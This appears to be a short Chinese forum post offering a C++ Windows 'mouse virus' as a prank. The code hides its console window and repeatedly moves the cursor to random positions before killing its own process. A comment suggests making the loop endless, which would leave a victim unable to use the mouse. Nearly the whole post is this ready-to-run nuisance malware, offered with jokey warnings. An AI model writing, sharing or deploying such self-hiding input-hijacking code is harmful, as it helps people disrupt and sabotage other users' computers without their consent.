我今天的脑子有一点不太好使
居然想出这种好用的东西~~~
谨慎使用!!!
谨慎使用!!!
谨慎使用!!!
鼠标病毒
#include <windows.h>
#include <ctime>
#include <iostream>
#pragma comment (lib, "User32.lib")
using namespace std;
void hidden(){
HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cci;
GetConsoleCursorInfo(hout,&cci);
cci.bVisible = 0;
SetConsoleCursorInfo(hout,&cci);
}
void SB(){
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE);
}
}
int main(){
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
SB();
for(int i=1;i<=6000;i++){//6000可以改成其他数(甚至可以为true,不过慎用)
hidden();
SetCursorPos(rand()%x,rand()%y);
}
system("taskkill /f /im 鼠标病毒.exe");
return 0;
}
挺好用的。。。
就是有点费脑子。。。
试试就逝世!!!